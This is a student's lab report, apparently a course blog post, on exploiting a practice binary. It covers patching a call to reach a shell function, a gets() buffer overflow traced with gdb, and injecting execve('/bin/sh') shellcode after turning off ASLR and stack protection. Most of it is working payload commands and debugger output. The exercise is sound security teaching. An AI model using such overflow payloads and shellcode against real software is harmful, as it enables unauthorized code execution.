Live2D

20154327 Exp1 PC平台逆向破解

一、实践目标

  • 1.运行原本不可访问的代码片段
  • 2.强行修改程序执行流
  • 3.以及注入运行任意代码

二、基础知识

  • 1.直接修改程序机器指令,改变程序执行流程
  • 2.通过构造输入参数,造成BOF攻击,改变程序执行流程
  • 3.关于缓冲区溢出攻击

缓冲区溢出攻击简单来说就是利用缓冲区溢出漏洞所进行的攻击行动
具体可以参考知乎专栏


三、实验步骤

方法一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 1.首先将pwn1文件复制并命名为20154327,对复制后的文件进行试运行和反汇编,下面只保留了最核心的几行代码。
root@yangzhenghui:~/下载# ./20154327
20154327
20154327
root@yangzhenghui:~/下载# objdump -d 20154327|more

0804847d <getShell>:
 804847d:	55                   	push   %ebp
 804847e:	89 e5                	mov    %esp,%ebp
 8048480:	83 ec 18             	sub    $0x18,%esp
 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
 804848f:	c9                   	leave  
 8048490:	c3                   	ret    

08048491 <foo>:
 8048491:	55                   	push   %ebp
 8048492:	89 e5                	mov    %esp,%ebp
 8048494:	83 ec 38             	sub    $0x38,%esp
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 804849a:	89 04 24             	mov    %eax,(%esp)
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80484a5:	89 04 24             	mov    %eax,(%esp)
 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
 80484ad:	c9                   	leave  
 80484ae:	c3                   	ret    

080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

--More--

先看第32行,可以看出,这里的call函数使程序跳转到了foo函数,其对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改"d7ffffff"为,"getShell-80484ba"对应的补码就行。用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff。

反汇编

修改前main

  • 2.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

修改地址

  • 3.再次查看反汇编代码,发现第7行成功修改为getShell
root@yangzhenghui:~/下载# vi 20154327
root@yangzhenghui:~/下载# objdump -d 20154327 | more
080484af <main>:
 80484af:	55                   	push   %ebp
 80484b0:	89 e5                	mov    %esp,%ebp
 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
 80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>
 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
 80484bf:	c9                   	leave  
 80484c0:	c3                   	ret    
 80484c1:	66 90                	xchg   %ax,%ax
 80484c3:	66 90                	xchg   %ax,%ax
 80484c5:	66 90                	xchg   %ax,%ax
 80484c7:	66 90                	xchg   %ax,%ax
 80484c9:	66 90                	xchg   %ax,%ax
 80484cb:	66 90                	xchg   %ax,%ax
 80484cd:	66 90                	xchg   %ax,%ax
 80484cf:	90                   	nop

修改后

  • 4.运行修改后的程序
root@yangzhenghui:~/下载# ./20154327
# ls
20154327      VMwareTools-10.2.0-7259539
ExecCmd.nasm  VMwareTools-10.2.0-7259539.tar.gz

试运行

方法二:通过构造输入参数,造成BOF攻击,改变程序执行流。

  • 1.使用gdb确认输入字符串哪几个字符会覆盖到返回地址
root@yangzhenghui:~/下载# gdb 20154327
(gdb) r
Starting program: /root/下载/20154327 
1111111122222222333333334444444455555555
1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.
0x35353535 in ?? ()
(gdb) info r
eax            0x29	41
ecx            0x804b570	134526320
edx            0xf7f9e894	-134616940
ebx            0x0	0
esp            0xffffd270	0xffffd270
ebp            0x34343434	0x34343434
esi            0xf7f9d000	-134623232
edi            0x0	0
eip            0x35353535	0x35353535
eflags         0x10246	[ PF ZF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

此时eip指令寄存器存储的地址为0x35353535,转换为ASCII值为5555,但由于上面调试输入的是55555555,不能确定是从哪里开始溢出,换1111111122222222333333334444444412345678继续进行调试。

root@yangzhenghui:~/下载# gdb 20154327

(gdb) r
Starting program: /root/下载/20154327 
1111111122222222333333334444444412345678
1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ()
(gdb) info r eip
eip            0x34333231	0x34333231
(gdb) 

此时eip指令寄存器存储的地址为0x34333231,转换为ASCII值为4321,所以是1234这四位覆盖了eip内原本的返回值,所以我们只需将1234这四位上输入可以返回到getShell的对应的返回值,即0804847d,那么便完成了实践目的。

gdb

  • 2.构造输入字符串

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以利用Perl语言生成包括这样字符串的一个文件。

root@yangzhenghui:~/下载# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 3.然后将input的输入,通过管道符“|”,作为20154327的输入。

得到最终结果如下:

root@yangzhenghui:~/下载# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
root@yangzhenghui:~/下载# (cat input; cat) | ./20154327
11111111222222223333333344444444}�
ls
20154327      VMwareTools-10.2.0-7259539
ExecCmd.nasm  VMwareTools-10.2.0-7259539.tar.gz

cat

注入Shellcode并执行

  • 1.设置环境
root@yangzhenghui:~/下载# apt-get install execstack
root@yangzhenghui:~/下载# execstack -s 20154327
root@yangzhenghui:~/下载# execstack -q 20154327
X 20154327
root@yangzhenghui:~/下载# more /proc/sys/kernel/randomize_va_space
2
root@yangzhenghui:~/下载# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@yangzhenghui:~/下载# more /proc/sys/kernel/randomize_va_space 
0

shell

  • 2.构造要注入的payload

参考实验指导书,可知本次实验采用 retaddr+nop+shellcode 方法

在终端中输入:

root@yangzhenghui:~# perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >input_shellcode
  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址

  • 打开一个新的终端窗口注入这段攻击buf,具体输入如下:
    (cat input_shellcode;cat) | ./20154327


root@yangzhenghui:~/下载# (cat input_shellcode;cat) | ./20154327

������1�Ph//shh/bin��PS��1Ұ
                           �

  • 打开另外一个终端,用gdb来调试20154327这个进程
    过程如下:
root@yangzhenghui:~# ps -ef | grep 20154327
root       5267   3944  0 18:07 pts/0    00:00:00 ./20154327
root       5330   5313  0 18:10 pts/1    00:00:00 grep 20154327
root@yangzhenghui:~# gdb
GNU gdb (Debian 7.12-6+b1) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) 
(gdb) attach 5267
Attaching to process 5267
Reading symbols from /root/下载/20154327...(no debugging symbols found)...done.
Reading symbols from /lib32/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
0xf7fd5db9 in __kernel_vsyscall ()
(gdb) disassemble foo
Dump of assembler code for function foo:
   0x08048491 <+0>:	push   %ebp
   0x08048492 <+1>:	mov    %esp,%ebp
   0x08048494 <+3>:	sub    $0x38,%esp
   0x08048497 <+6>:	lea    -0x1c(%ebp),%eax
   0x0804849a <+9>:	mov    %eax,(%esp)
   0x0804849d <+12>:	call   0x8048330 <gets@plt>
   0x080484a2 <+17>:	lea    -0x1c(%ebp),%eax
   0x080484a5 <+20>:	mov    %eax,(%esp)
   0x080484a8 <+23>:	call   0x8048340 <puts@plt>
   0x080484ad <+28>:	leave  
   0x080484ae <+29>:	ret    
End of assembler dump.
(gdb) break *0x080484ae
Breakpoint 1 at 0x80484ae
(gdb) c
Continuing.

Breakpoint 1, 0x080484ae in foo ()
(gdb) info r esp
esp            0xffffd2ac	0xffffd2ac
(gdb) x/16x 0xffffd2ac
0xffffd2ac:	0x01020304	0xf7f90000	0xf7f9d000	0x00000000
0xffffd2bc:	0xf7de5783	0x00000001	0xffffd354	0xffffd35c
0xffffd2cc:	0xffffd2e4	0x00000001	0xffffd354	0xf7f9d000
0xffffd2dc:	0xf7fe67ea	0xf7ffd000	0x00000000	0xf7f9d000
(gdb) x/16x 0xffffd28c
0xffffd28c:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
0xffffd29c:	0x896e6962	0x895350e3	0xb0d231e1	0x9080cd0b
0xffffd2ac:	0x01020304	0xf7f90000	0xf7f9d000	0x00000000
0xffffd2bc:	0xf7de5783	0x00000001	0xffffd354	0xffffd35c
(gdb) quit
A debugging session is active.

	Inferior 1 [process 5267] will be detached.

Quit anyway? (y or n) y
Detaching from program: /root/下载/20154327, process 5267

id

  • 修改注入文件:
root@yangzhenghui:~/下载# perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
root@yangzhenghui:~/下载# (cat input_shellcode;cat) | ./20154327
ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����������1�Ph//shh/bin��PS��1Ұ
                                                               �
ls
20154327      VMwareTools-10.2.0-7259539	 input
ExecCmd.nasm  VMwareTools-10.2.0-7259539.tar.gz  input_shellcode

最终成功,如下图
成功

四、实验总结

  • 什么是漏洞?漏洞有什么危害?
    我认为漏洞是设计者在设计时所没有考虑到的安全隐患,使得攻击者可以通过入木马、病毒等方式获得不该有的权限,从而窃取电脑中的重要信息,甚至对电脑进行破坏。
  • 实验心得:
    这是我们网络攻防的第一次实验,有些命令并不是很清楚,但根据实验指导书及老师上课所讲,还是能够理清实验的思路,完成实验。这次实验给我最大的感悟就是网络课很需要自学,碰到不会的大部分都可以通过百度,而且接触到了csdn、码云、博客园等一系列学计算机所用到的网站,对我以后其他课程的入门也起到了帮助。虽然一次实验下来,耗时很久,费得精力很多,但当完成了之后的成就感也比之前其他课实验的深刻的多。
posted @ 2018-03-16 19:11  lovezh  阅读(366)  评论(0编辑  收藏  举报